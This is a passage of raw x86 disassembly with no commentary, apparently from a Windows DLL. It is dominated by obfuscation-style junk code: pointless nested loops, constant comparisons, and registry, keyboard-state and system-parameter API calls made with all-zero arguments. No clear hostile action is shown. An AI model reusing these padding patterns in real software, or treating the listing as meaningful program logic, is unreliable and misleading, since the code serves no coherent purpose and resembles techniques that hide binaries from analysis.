jmp 0x10039c6f
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x100], 0
jmp 0x10039d76
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 4
jge 0x10039d98
push dword [ebp - 0x100]
lea ecx, [ebp - 0x1c9c]
call fcn.1001d90b
mov dword [eax], 0xa137b189
jmp 0x10039d69
cmp dword [ebp - 0xa20], 0x29e2
jge 0x10039db4
mov edx, dword [ebp - 0x1718]
mov ecx, 0x10082bb8
call fcn.100202a3
mov eax, dword [ebp - 0x508]
inc eax
mov dword [ebp - 0x508], eax
mov esi, dword [ebp - 0x508]
push 1
lea ecx, [ebp - 0x1cb4]
call fcn.1001d90b
cmp dword [eax], esi
jge 0x10039de4
mov dword [ebp - 0xa28], 1
jmp 0x10039deb
and dword [ebp - 0xa28], 0
push 2
lea ecx, [ebp - 0x1c9c]
call fcn.1001d90b
mov ecx, dword [ebp - 0xa28]
mov dword [eax], ecx
cmp dword [ebp - 0x508], 0
jne 0x10039e1b
cmp dword [ebp - 0x1a60], 0
jne 0x10039e1b
and dword [ebp - 0xa30], 0
jmp 0x10039e25
mov dword [ebp - 0xa30], 1
mov eax, dword [ebp - 0xa30]
mov dword [ebp - 0x1724], eax
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x1c9c]
call fcn.1001d8ef
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1cb4]
call fcn.1001d8ef
mov eax, dword [ebp - 0x19a4]
mov ecx, dword [ebp - 0x244]
add ecx, dword [eax]
mov dword [ebp - 0x144], ecx
mov dword [ebp - 0x24c], 4
mov dword [ebp - 0x154], 0x968cb667
mov dword [ebp - 0xd4], 0
jmp 0x10039e90
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 2
jge 0x10039eac
mov eax, dword [ebp - 0xd4]
mov dword [ebp + eax*4 - 0x181c], 0x8067e307
jmp 0x10039e83
mov dword [ebp - 0xd4], 0
jmp 0x10039ec5
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 2
jge 0x10039ee1
mov eax, dword [ebp - 0xd4]
mov dword [ebp + eax*4 - 0x1828], 0xffffffff
jmp 0x10039eb8
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x181c]
mov dword [ebp - 0x1efc], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x181c]
mov dword [ebp - 0xa38], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xa38]
mov dword [ebp + eax - 0x181c], ecx
mov eax, dword [ebp - 0x24c]
cmp dword [ebp - 0xa38], eax
jl 0x10039f34
mov dword [ebp - 0x810], 1
jmp 0x10039f3b
and dword [ebp - 0x810], 0
mov eax, dword [ebp - 0x24c]
cmp dword [ebp - 0x24c], eax
jg 0x10039f55
mov dword [ebp - 0x1730], 1
jmp 0x10039f5c
and dword [ebp - 0x1730], 0
mov eax, dword [ebp - 0x24c]
mov dword [ebp - 0x1f04], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x810]
mov dword [ebp + eax - 0x1828], ecx
mov eax, dword [ebp - 0x24c]
cmp dword [ebp - 0x810], eax
jg 0x10039f95
mov dword [ebp - 0xa40], 1
jmp 0x10039f9c
and dword [ebp - 0xa40], 0
imul eax, dword [ebp - 0xa40], 0xb922
cmp eax, 1
jne 0x10039fb7
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x8c8], 1
mov dword [ebp - 0x34], 0
jmp 0x1003fd68
mov eax, dword [ebp - 0x34]
dec eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xffffffe7
jl 0x100401c5
mov dword [ebp - 0x2a4], 0xffffffff
mov dword [ebp - 0x1298], 0x66b7a7b
mov dword [ebp - 0x1c3c], 0xfffffff8
mov dword [ebp - 0x1c38], 0xfffffff8
mov dword [ebp - 0x1c34], 0xfffffff8
mov dword [ebp - 0x1c30], 0xfffffff8
lea ecx, [ebp - 0x8ee]
call fcn.1001d91a
push eax
lea eax, [ebp - 0x1c2c]
push eax
lea eax, [ebp - 0x1c3c]
push eax
lea ecx, [ebp - 0x21f0]
call fcn.1001d91d
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1d20]
call fcn.1001d8c9
mov dword [ebp - 4], 0x3c
mov dword [ebp - 0x7d0], 0
jmp 0x1003fe03
mov eax, dword [ebp - 0x7d0]
inc eax
mov dword [ebp - 0x7d0], eax
cmp dword [ebp - 0x7d0], 1
jge 0x1003fe1f
mov eax, dword [ebp - 0x7d0]
mov dword [ebp + eax*4 - 0x12e0], 0x547507af
jmp 0x1003fdf6
mov byte [ebp - 0x204], 0
mov dword [ebp - 0x1288], 0x5c9a
mov dword [ebp - 0x15e0], 0x1000b0cc
cmp dword [ebp - 0x1288], 0x5d90
jle 0x1003ff20
and dword [ebp - 0x36c], 0
jmp 0x1003fe60
mov eax, dword [ebp - 0x36c]
inc eax
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], 0x3f72
jge 0x1003ff20
and dword [ebp - 0x7d8], 0
jmp 0x1003fe86
mov eax, dword [ebp - 0x7d8]
inc eax
mov dword [ebp - 0x7d8], eax
cmp dword [ebp - 0x7d8], 0x5b35
jge 0x1003ff1b
and dword [ebp - 0x7e0], 0
jmp 0x1003feac
mov eax, dword [ebp - 0x7e0]
inc eax
mov dword [ebp - 0x7e0], eax
cmp dword [ebp - 0x7e0], 0x5db8
jge 0x1003ff16
mov eax, dword [ebp - 0x7d8]
imul eax, dword [ebp - 0x7e0]
xor eax, dword [ebp - 0x36c]
cdq
mov dword [ebp - 0x1918], eax
mov dword [ebp - 0x1914], edx
push dword [ebp - 0x1914]
push dword [ebp - 0x1918]
lea ecx, [ebp - 0x2520]
call fcn.1001072e
pop ecx
pop ecx
mov dword [ebp - 0x15d8], eax
mov ecx, dword [ebp - 0x15d8]
call fcn.1001d53e
push eax
call fcn.10067b63
pop ecx
lea ecx, [ebp - 0x2520]
call fcn.1001d534
jmp 0x1003fe9f
jmp 0x1003fe79
jmp 0x1003fe53
movzx eax, byte [ebp - 0x204]
test eax, eax
je 0x1003ff33
push 0
call dword [sym.imp.USER32.dll_SetKeyboardState]
cmp dword [ebp - 0x1288], 0x5c6e
jge 0x1003ff4b
push dword [ebp - 0x15e0]
call fcn.10067b63
pop ecx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1de8], eax
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x2a4], eax
jle 0x1003ff6b
mov dword [ebp - 0x1290], 1
jmp 0x1003ff72
and dword [ebp - 0x1290], 0
mov eax, dword [ebp - 0x1290]
sub eax, 0x6b44b761
mov dword [ebp - 0x1298], eax
mov eax, dword [ebp - 0x1298]
cmp dword [ebp - 0x2a4], eax
jle 0x1003ff9d
mov dword [ebp - 0x12a0], 1
jmp 0x1003ffa4
and dword [ebp - 0x12a0], 0
cmp dword [ebp - 0x12a0], 0x951b
je 0x1003ffbc
mov dword [ebp - 0x12a8], 1
jmp 0x1003ffc3
and dword [ebp - 0x12a8], 0
mov eax, dword [ebp - 0x34]
imul eax, dword [ebp - 0x12a8]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x12b0], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x12b0]
mov dword [ebp + eax - 0x12e0], ecx
cmp dword [ebp - 0x12b0], 1
je 0x1003fffe
mov dword [ebp - 0x12b8], 1
jmp 0x10040005
and dword [ebp - 0x12b8], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x12b8], eax
je 0x1004001c
mov dword [ebp - 0x12c0], 1
jmp 0x10040023
and dword [ebp - 0x12c0], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x12c0], eax
je 0x1004003a
mov dword [ebp - 0x12c8], 1
jmp 0x10040041
and dword [ebp - 0x12c8], 0
mov eax, dword [ebp - 0x2a4]
cmp dword [ebp - 0x12c8], eax
jge 0x1004005b
mov dword [ebp - 0x15e8], 1
jmp 0x10040062
and dword [ebp - 0x15e8], 0
mov eax, dword [ebp - 0x2a4]
mov dword [ebp - 0x1ff0], eax
cmp dword [ebp - 0x2a4], 0x88fe
jne 0x10040086
mov dword [ebp - 0x12d0], 1
jmp 0x1004008d
and dword [ebp - 0x12d0], 0
mov eax, dword [ebp - 0x12d0]
neg eax
je 0x100400a9
cmp dword [ebp - 0x34], 0
je 0x100400a9
mov dword [ebp - 0x12d8], 1
jmp 0x100400b0
and dword [ebp - 0x12d8], 0
mov eax, dword [ebp - 0x12d8]
mov dword [ebp - 0x8c8], eax
mov eax, dword [ebp - 0x8c8]
mov dword [ebp - 0x1df0], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1fc0], eax
push 3
lea ecx, [ebp - 0x1d20]
call fcn.1001d90b
cmp dword [eax], 0
je 0x100400ff
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x12e0], 0
je 0x100400ff
mov dword [ebp - 0x12e8], 1
jmp 0x10040106
and dword [ebp - 0x12e8], 0
imul eax, dword [ebp - 0x12e8], 0
cmp eax, dword [ebp - 0x34]
jge 0x10040124
cmp dword [ebp - 0x34], 0
je 0x10040124
mov dword [ebp - 0x940], 1
jmp 0x1004012b
and dword [ebp - 0x940], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x940], eax
jl 0x10040142
mov dword [ebp - 0x944], 1
jmp 0x10040149
and dword [ebp - 0x944], 0
mov eax, dword [ebp - 0x2a4]
cmp dword [ebp - 0x944], eax
jne 0x10040163
mov dword [ebp - 0x94c], 1
jmp 0x1004016a
and dword [ebp - 0x94c], 0
cmp dword [ebp - 0x94c], 0xbcfb656d
jae 0x10040182
mov dword [ebp - 0x15f0], 1
jmp 0x10040189
and dword [ebp - 0x15f0], 0
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1df8], eax
mov eax, dword [ebp - 0x8c8]
mov dword [ebp - 0x1ff4], eax
push 3
lea ecx, [ebp - 0x1d20]
call fcn.1001d90b
mov dword [eax], 0x283019c3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1d20]
call fcn.1001d8ef
jmp 0x1003fd61
mov byte [ebp - 0x229], 0
movzx eax, byte [ebp - 0x229]
test eax, eax
je 0x100401e5
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret